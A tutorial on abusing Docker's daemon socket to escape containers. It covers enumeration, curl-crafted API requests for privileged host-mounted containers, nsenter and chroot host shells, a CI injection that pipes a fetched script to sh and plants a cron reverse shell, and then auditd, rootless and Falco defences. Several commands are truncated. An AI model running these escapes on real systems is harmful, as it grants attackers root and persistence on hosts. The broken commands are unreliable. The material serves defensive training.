Introduction
Docker has become the de-facto standard for deploying applications, but its convenience comes with a powerful attack surface: the Docker daemon's Unix socket /var/run/docker.sock. When a process can read or write to this socket, it effectively gains full control over the Docker engine, which translates to root-level access on the host.
In this guide we dive deep into how the socket works, how attackers enumerate and abuse it, and what defenders can do to detect and block such abuse. Real-world incidents-from ransomware that leveraged the Docker socket to supply-chain attacks that spun up malicious containers-demonstrate why mastering this topic is essential for any security professional dealing with containers.
Prerequisites
- Solid understanding of Docker architecture and its security model (daemon, client, images, containers, namespaces, cgroups).
- Familiarity with Linux privilege escalation concepts: SUID/SGID binaries, Linux capabilities, and namespace isolation.
- Basic knowledge of Linux namespaces (PID, mount, network, user) and how Docker leverages them.
- Comfort with command-line tools (curl, jq, docker CLI) and JSON payload crafting.
Core Concepts
The Docker daemon (dockerd) runs as root and listens on two transports by default:
- Unix socket:
/var/run/docker.sock(local only). - TCP socket: optional, e.g.,
tcp://0.0.0.0:2375(often insecure if left unauthenticated).
Both transports expose the same HTTP-based REST API. The API accepts JSON over a Unix domain socket or TCP stream, allowing actions such as docker run, docker exec, docker pull, and low-level operations like /containers/(id)/archive (filesystem extraction).
Because the daemon runs as root, any client that can talk to the socket can issue commands that bypass the usual container isolation mechanisms. This is why the socket is often compared to a “root shell for containers”.
Understanding the Docker daemon and its Unix socket (/var/run/docker.sock)
The Unix socket is a special file created by the daemon at startup with permissions srw-rw---- (owner root, group docker). Any process belonging to the docker group can read/write to it, effectively acting as the Docker CLI.
Key properties:
- Root ownership - the daemon performs all actions with UID 0.
- Local only - no network exposure unless explicitly bound to a TCP port.
- Binary protocol - actually HTTP over a Unix socket; tools like
curl --unix-socketcan interact directly.
Diagram (textual description):
[User Process] --(unix socket)--> [dockerd (root)] --(cgroups, namespaces)--> [Container Runtime]
The arrow shows that once the socket is compromised, the attacker can command dockerd to create new containers, mount host paths, or modify existing ones.
Enumerating exposed Docker APIs (TCP and Unix socket)
Before attacking, an adversary must discover whether the Docker API is reachable. Two common discovery techniques:
1. Local Unix socket discovery
# Check if the socket exists and is readable/writable
if [ -S /var/run/docker.sock ]; then echo "Docker socket present" ls -l /var/run/docker.sock
fi
# Quick health check using curl
curl --unix-socket /var/run/docker.sock
The _ping endpoint returns OK when the daemon is alive.
2. Remote TCP enumeration
# Scan common Docker ports (2375, 2376) on the local network
nmap -p 2375,2376 --open 10.0.0.0/24
# Verify an unauthenticated endpoint
curl -s || echo "No response"
If the response is OK, the TCP API is exposed without TLS-an immediate red flag.
Crafting malicious Docker API requests with curl and docker client
Once the API is reachable, the attacker can issue any Docker command. Below are two approaches: direct curl calls and abusing the Docker CLI (which internally talks to the socket).
Using curl against the Unix socket
# Pull a malicious image and start a privileged container that mounts the host root
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{ "Image": "alpine", "Cmd": ["sh","-c","while true; do sleep 3600; done"], "HostConfig": {"Privileged": true, "Binds": ["/:/host"]} }' # Start the container (replace with the returned ID)
curl --unix-socket /var/run/docker.sock -X POST
Explanation:
Privileged": truedisables most security restrictions.Binds": ["/:/host"]mounts the host filesystem inside the container at/host.
Using the Docker CLI (shortcut)
# If you are a member of the docker group, you can run:
sudo -u $(logname) docker run -it --rm --privileged -v /:/host alpine sh
The CLI ultimately sends the same JSON over the socket, but it abstracts the HTTP details.
Mounting host filesystem via privileged containers
Mounting the host root is the cornerstone of most breakout techniques. With --privileged and a bind-mount, the container sees the entire host FS and can manipulate critical files (e.g., /etc/passwd, /usr/bin/sudo).
docker run -d --name host-mount --privileged -v /:/host alpine sleep 1000
# Exec into the container and inspect the host
docker exec -it host-mount sh -c 'ls -l /host/etc | head'
From inside the container, /host is the host's root. An attacker can now drop a setuid binary or replace systemd units to achieve persistence.
Escaping to host shell using docker exec and socket abuse
There are two complementary ways to obtain a host shell:
- Direct exec on a privileged container that has the host FS mounted.
- Docker socket abuse to spin up a new container that runs
nsenterinto the host PID namespace.
Method 1 - Simple bind-mount exec
docker exec -it host-mount chroot /host /bin/sh
The chroot changes the root to the mounted host filesystem, giving you a shell that runs as the same UID/GID as the container (usually root because of --privileged).
Method 2 - Using the Docker socket to spawn a container that nsenters the host
# 1. Create a temporary container with the socket mounted
cat > payload.json <<EOF
{ "Image": "alpine", "Cmd": ["sh","-c","apk add --no-cache util-linux && nsenter -t 1 -m -u -i -n -p -- /bin/sh"], "HostConfig": { "Binds": ["/var/run/docker.sock:/var/run/docker.sock", "/:/host"], "Privileged": true }
}
EOF
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d @payload.json # 2. Start the container - it will exec nsenter into PID 1 (the host init)
curl --unix-socket /var/run/docker.sock -X POST -r .Id < create_output)/start
Result: a shell attached to the host's PID namespace, with full root privileges.
Practical Examples
Below we walk through a full end-to-end exploitation scenario on a vulnerable CI runner.
- Discovery: The runner has the socket mounted at
/var/run/docker.sockfor build isolation. - Abuse: Using a one-liner in the CI script to pull an attacker-controlled image and start a privileged container.
- Persistence: The container drops a cron job on the host to re-spawn a reverse shell.
# CI script (malicious injection)
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"attacker/malicious","Cmd":["sh","-c","apk add curl && curl -s | sh"],"HostConfig":{"Privileged":true,"Binds":["/:/host"]}}' # The payload.sh runs on the host, creates /etc/cron.d/persist with a reverse shell command.
This illustrates why many breach-and-post incidents start with “Docker socket abuse”.
Tools & Commands
curl --unix-socket /var/run/docker.sock- raw HTTP interaction.dockerCLI - high-level wrapper, respects user groups.jq- parse JSON responses from the API.nsenter- enter host namespaces from a privileged container.docker-bench-security- checks for common Docker misconfigurations, including socket exposure.
Example of using jq to extract a container ID:
response=$(curl --unix-socket /var/run/docker.sock -s -X POST -H "Content-Type: application/json" -d '{"Image":"alpine"}'
container_id=$(echo $response | jq -r .Id)
Defense & Mitigation
Mitigating Docker socket abuse is a layered effort:
- Least-privilege groups: Only trusted users should be in the
dockergroup. Preferdocker rootlessmode where possible. - Remove socket from untrusted workloads: Do not mount
/var/run/docker.sockinto containers unless absolutely required. - Bind the daemon to a protected TLS-enabled TCP socket and enforce client certificates.
- AppArmor/SELinux profiles: Restrict containers from mounting the host root or using
privilegedmode. - Runtime security tools (e.g., Falco, Trivy, Sysdig) can alert on privileged container creation or bind-mounts of
/. - Audit the socket file regularly:
stat -c "%a %U %G" /var/run/docker.sock.
Sample audit rule (auditd) to watch socket access:
auditctl -w /var/run/docker.sock -p rwxa -k docker_socket
When triggered, the log will contain the PID, UID, and command that accessed the socket, enabling rapid incident response.
Common Mistakes
- Assuming group membership is safe: Adding a service account to
dockerautomatically grants root on the host. - Mounting the socket for convenience without understanding the risk; it is equivalent to giving the container a root key.
- Relying on
--userflag alone: Even non-root users can issue privileged commands via the socket. - Neglecting host-side bind mounts:
-v /:/hostis a common backdoor; many CI templates include it unintentionally.
Avoid these by performing a threat model on every Docker run command and by employing static analysis of CI/CD configuration files.
Real-World Impact
Several high-profile breaches have leveraged Docker socket abuse:
- 2022 ransomware campaign: Attackers compromised a Kubernetes node, accessed the Docker socket, and used
docker execto encrypt host volumes. - Supply-chain attack on a CI platform: Malicious pull-request code injected a payload that spun up a privileged container via the socket, exfiltrating secrets from the host.
In both cases, the root cause was the unchecked exposure of /var/run/docker.sock. As container adoption grows, the attack surface expands, making socket hygiene a top priority for blue-team operations.
Practice Exercises
- Socket discovery: On a fresh Ubuntu VM with Docker installed, write a Bash script that detects the presence of the Docker socket and attempts a
_pingrequest. - Privilege escalation: Using only
curland the socket, create a privileged container that mounts the host root and writes a new/etc/ssh/sshd_configto enable password login. - Detection: Configure
auditdto log socket access, trigger the rule, and verify that an alert appears when you run a Docker command. - Mitigation hardening: Convert the Docker daemon to rootless mode, confirm that the socket now resides at
$XDG_RUNTIME_DIR/docker.sock, and observe that non-root users can no longer access it.
Document each step, capture screenshots of outputs, and reflect on the differences observed between privileged and rootless setups.
Further Reading
- Docker documentation - Engine security
- Rootless Docker - Project documentation
- Falco rules for Docker socket abuse - GitHub
- MITRE ATT&CK technique T1609 - “Container Administration Command”
- “Docker Security Cheat Sheet” - OWASP
Summary
The Docker Unix socket is a powerful control plane; anyone with read/write access can act as root on the host. By understanding how the daemon exposes its API, enumerating reachable sockets, and crafting malicious HTTP payloads, attackers can spin up privileged containers, mount the host filesystem, and escape to a host shell. Defenders must limit socket exposure, employ rootless Docker, enforce strict RBAC, and monitor socket activity with audit tools. Mastery of these concepts equips security professionals to both detect and prevent container breakout attacks.